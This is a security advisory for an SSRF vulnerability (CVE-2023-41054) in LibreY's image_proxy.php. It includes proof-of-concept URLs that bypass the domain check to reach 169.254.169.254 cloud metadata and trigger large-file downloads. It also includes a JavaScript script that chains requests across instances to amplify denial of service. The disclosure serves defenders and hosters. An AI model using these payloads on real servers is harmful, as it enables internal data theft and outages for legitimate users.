Skip to content

LibreY Server-Side Request Forgery (SSRF) vulnerability in image_proxy.php

High
Ahwxorg published GHSA-p4f9-h8x8-mpwf Sep 3, 2023

Package

LibreX

Affected versions

<= b5a9f12df91cb8ded541df291da58ce2f104fe62

Patched versions

None
LibreY
< 8f9b9803f231e2954e5b49987a532d28fe50a627
>= 8f9b9803f231e2954e5b49987a532d28fe50a627

Description

Summary

Server-Side Request Forgery (SSRF) vulnerability in image_proxy.php in LibreY before commit 8f9b980 allows remote attackers to use the server as a proxy to send HTTP GET requests to arbitrary targets and retrieve information in the internal network or conduct Denial-of-Service (DoS) attacks via the url parameter.

Details

In image_proxy.php, the requested root domain is checked to be in an array of allowed domains:

LibreY/image_proxy.php

Lines 6 to 18 in 3ae47a1

$url = $_REQUEST["url"];
$requested_root_domain = get_root_domain($url);
$allowed_domains = array("qwant.com", "wikimedia.org", get_root_domain($config->invidious_instance_for_video_results));
if (in_array($requested_root_domain, $allowed_domains))
{
$image = $url;
$image_src = request($image);
header("Content-Type: image/png");
echo $image_src;
}

But in misc/tools.php, the get_root_domain function malfunctioned:

LibreY/misc/tools.php

Lines 8 to 16 in 3ae47a1

function get_root_domain($url) {
$split_url = explode("/", $url);
$base_url = $split_url[2];
$base_url_main_split = explode(".", strrev($base_url));
$root_domain = strrev($base_url_main_split[1]) . "." . strrev($base_url_main_split[0]);
return $root_domain;
}

It uses the part after two slashes as the domain, but that is not always the case. The scheme could be omitted and HTTP will be used. https:/ can also be used instead of https://. So a URL like 127.0.0.1:8000//qwant.com/../../path or https:/example.com/qwant.com/../ passes the check, and thus the request can target arbitrary URLs at the attacker's will.

The attacker can get the full response body of the GET request so confidential information could be disclosed.

The attacker can also conduct DoS attacks by requesting the server to download large files. If the server is behind a CDN, the original IP address can be disclosed via SSRF, so the DDoS protection provided by the CDN could be bypassed. It can be self-chained or chained among multiple server instances to amplify the DoS effect.

PoC

Retrieve sensitive information

Request /image_proxy.php?url=example.com//qwant.com/../../ and see the response.

Or visit /image_proxy.php?url=https:/samplelib.com/qwant.com/../lib/preview/png/sample-clouds2-400x300.png in a browser, which is a PNG image that matches the content type header.

If the instance is hosted on a cloud provider that supports 169.254.169.254, request /image_proxy.php?url=169.254.169.254//qwant.com/../../latest/ or /image_proxy.php?url=169.254.169.254//qwant.com/../../opc/v1/instance/ and see the response.

Denial-of-service (DoS)

Request /image_proxy.php?url=https:/speed.hetzner.de/qwant.com/../10GB.bin or /image_proxy.php?url=speedtest.ftp.otenet.gr//qwant.com/../../files/test10Mb.db multiple times, and then send normal requests to see long response time or errors.

Chained DoS

JavaScript exploitation code:

const INSTANCES = [
  'https://librex.a.com/',
  'https://librex.b.com/',
  'https://librex.c.com/',
];
const FINAL_TARGET = 'http://speedtest.ftp.otenet.gr/files/test10Mb.db';
const NUMBER_OF_ROUNDS = 25;
const NUMBER_OF_REQUESTS = 1;

function manipulatedUrlParam(url) {
  const u = new URL(url);
  return `${u.protocol}/${u.host}/qwant.com/../${u.pathname}${u.search}`;
}

function imageProxyUrl(instance, target) {
  const u = new URL("image_proxy.php", instance);
  u.search = new URLSearchParams({ url: manipulatedUrlParam(target) });
  // u.search = `?url=${manipulatedUrlParam(target)}`;
  return u.toString();
}

let chainedUrl = FINAL_TARGET;
for (let i = 0; i < NUMBER_OF_ROUNDS; i += 1) {
  chainedUrl = imageProxyUrl(INSTANCES[i % INSTANCES.length], chainedUrl);
}
console.log(chainedUrl);

for (let i = 0; i < NUMBER_OF_REQUESTS; i += 1) {
  console.time(`fetch ${i}`);
  fetch(chainedUrl).then((res) => {
    console.timeEnd(`fetch ${i}`);
    console.log(`${res.status}: ${res.statusText}`);
    console.log(`Content-Type: ${res.headers.get('Content-Type')}`);
    // res.text().then((t) => console.log(`Body Length: ${t.length}`));
  });
}

A chained URL with 4 rounds between two instances looks like this: https://librex.b.com/image_proxy.php?url=https%3A%2Flibrex.a.com%2Fqwant.com%2F..%2Fimage_proxy.php%3Furl%3Dhttps%253A%252Flibrex.b.com%252Fqwant.com%252F..%252Fimage_proxy.php%253Furl%253Dhttps%25253A%25252Flibrex.a.com%25252Fqwant.com%25252F..%25252Fimage_proxy.php%25253Furl%25253Dhttp%2525253A%2525252Fspeedtest.ftp.otenet.gr%2525252Fqwant.com%2525252F..%2525252Ffiles%2525252Ftest10Mb.db

The number of rounds is limited by the maximum URI length. If the params are not URL-encoded, more rounds (up to ~130, depending on the length of the instance domain) would be possible but the exploitation code would be less robust. And when the DoS is successful, the chain will break in the middle so more rounds would not be useful for the attack.

In an experiment, this caused DoS for two of three chained instances for ~10 seconds in a single request. The actual effect depends on the server, but for stronger servers, it's still easy to DoS with slightly more frequent requests. Anyhow, the amplification by chaining is significant.

Impact

Remote attackers can use the server as a proxy to send HTTP GET requests and retrieve information in the internal network. For example, the attacker may get AWS metadata at 169.254.169.254, or access services that are only locally available. However, only HTTP GET requests can be sent by the attacker, and redirects are not performed by the server.

Remote attackers can get the IP address of the server even if it is behind a CDN.

Remote attackers can also request the server to download large files or chain requests among multiple instances to reduce the performance of the server or even deny access from legitimate users.

Patches

This has been fixed in #31.

LibreY hosters are advised to use the latest commit, and LibreX hosters are advised to migrate to LibreY.

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
None
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H

CVE ID

CVE-2023-41054

Credits